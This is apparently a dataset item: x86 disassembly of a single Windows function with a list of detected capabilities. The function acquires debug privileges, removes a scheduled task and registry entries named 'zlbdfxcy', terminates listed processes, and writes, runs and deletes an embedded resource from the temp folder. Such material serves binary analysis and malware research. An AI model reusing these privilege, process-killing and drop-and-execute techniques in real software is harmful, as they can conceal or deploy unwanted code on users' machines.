Function at 0x401300
Capabilities:
Acquire debug privileges
Create process on windows
Delete file
Delete registry key
Delete registry value
Extract resource via kernel32 functions
Get common file path
Query or enumerate registry key
Schedule task via itaskscheduler
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xc68
mov eax, dword [0x414004]
xor eax, esp
mov dword [esp + 0xc64], eax
push esi
push edi
push 0
call fcn.00403543
push eax
call fcn.00403531
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
test esi, esi
je 0x4013b8
lea eax, [esp + 0xc]
push eax
push 0x28
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4013b5
lea eax, [esp + 0x28]
push eax
push 0x411cf0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4013b5
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
push 0
push 0
push 0x10
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
push 0
push dword [esp + 0x20]
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4013b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call edi
lea eax, [esp + 0x20]
push eax
push 0xf023f
push 0
push 0x411d90
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4013e7
push 0x411da4
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x401437
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0x411d80
push 1
push 0
push 0x411d70
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x401431
mov eax, dword [esp + 0x24]
push str._zlbdfxcy0x179d39
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [esp + 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x3e80
call fcn.00401854
mov esi, eax
mov dword [esp + 0x10], 0x3e8
add esp, 4
mov dword [esp + 0x28], esi
lea edx, [esp + 0xc]
mov ecx, esi
call section..text
test eax, eax
je 0x4014bb
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x24], ecx
test ecx, ecx
je 0x4014bb
mov edx, 0x7273
cmp word [esi + 4], dx
jne 0x4014ab
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x4014ab
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4014a2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov ecx, dword [esp + 0x24]
mov edx, 0x7273
add esi, 0x10
sub ecx, 1
mov dword [esp + 0x24], ecx
jne 0x401472
mov esi, dword [esp + 0x28]
push esi
call fcn.00401811
push 0x3e80
call fcn.00401854
mov esi, eax
mov dword [esp + 0x14], 0x3e8
add esp, 8
mov dword [esp + 0x28], esi
lea edx, [esp + 0xc]
mov ecx, esi
call section..text
test eax, eax
je 0x401516
mov edi, dword [esp + 0xc]
test edi, edi
je 0x401516
mov eax, 0x7277
cmp word [esi + 4], ax
jne 0x40150a
mov ecx, esi
call fcn.00401240
mov eax, 0x7277
add esi, 0x10
sub edi, 1
jne 0x4014f8
mov esi, dword [esp + 0x28]
push esi
call fcn.00401811
add esp, 4
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x40173c
cmp dword [esp + 0x28], 0
je 0x40173c
push 0x411de8
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40173c
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0x28], eax
test eax, eax
je 0x40173c
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40173c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x498]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x40173c
xor esi, esi
nop dword [eax + eax]
call fcn.00403510
mov ecx, eax
mov eax, 0x80010003
shl ecx, 4
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ax, word [eax*2 + str.0123456789abcdef]
mov word [esp + esi*2 + 0x78], ax
inc esi
cmp esi, 8
jb 0x4015b0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov word [esp + 0x88], ax
lea eax, [esp + 0x78]
push 0x411d14
push eax
call esi
push 0x411dec
lea eax, [esp + 0x7c]
push eax
call esi
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0x49c]
push eax
lea eax, [esp + 0x290]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x40173c
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x2a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40173c
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x30]
push dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
call edi
test esi, esi
je 0x40173c
lea eax, [esp + 0x10]
mov dword [esp + 0x30], 0x44
push eax
lea eax, [esp + 0x34]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x2ac]
movlpd qword [esp + 0x58], xmm0
push eax
movlpd qword [esp + 0x64], xmm0
movlpd qword [esp + 0x6c], xmm0
movlpd qword [esp + 0x74], xmm0
movlpd qword [esp + 0x7c], xmm0
movlpd qword [esp + 0x84], xmm0
movlpd qword [esp + 0x8c], xmm0
movlpd qword [esp + 0x94], xmm0
movaps xmmword [esp + 0x38], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40170d
push 0x2710
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x10]
call edi
push dword [esp + 0x14]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
nop word [eax + eax]
lea eax, [esp + 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40173c
push 0x64
call edi
inc esi
cmp esi, 0xa
jl 0x401720
lea eax, [esp + 0x24]
push eax
push 0xf013f
push 0
push str.SOFTWARE_zlbdfxcyconfig
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4017d1
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push eax
push eax
push eax
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x3e8
push eax
lea eax, [esp + 0x4ac]
push eax
push 0
push dword [esp + 0x40]
call esi
test eax, eax
jne 0x4017c7
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
nop dword [eax]
lea eax, [esp + 0x498]
push eax
push dword [esp + 0x28]
call edi
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x3e8
push eax
lea eax, [esp + 0x4ac]
push eax
push 0
push dword [esp + 0x40]
call esi
test eax, eax
je 0x401790
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0xf013f
push str.SOFTWARE_zlbdfxcyconfig
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
mov ecx, dword [esp + 0xc6c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00401800
mov esp, ebp
pop ebp
ret 0x10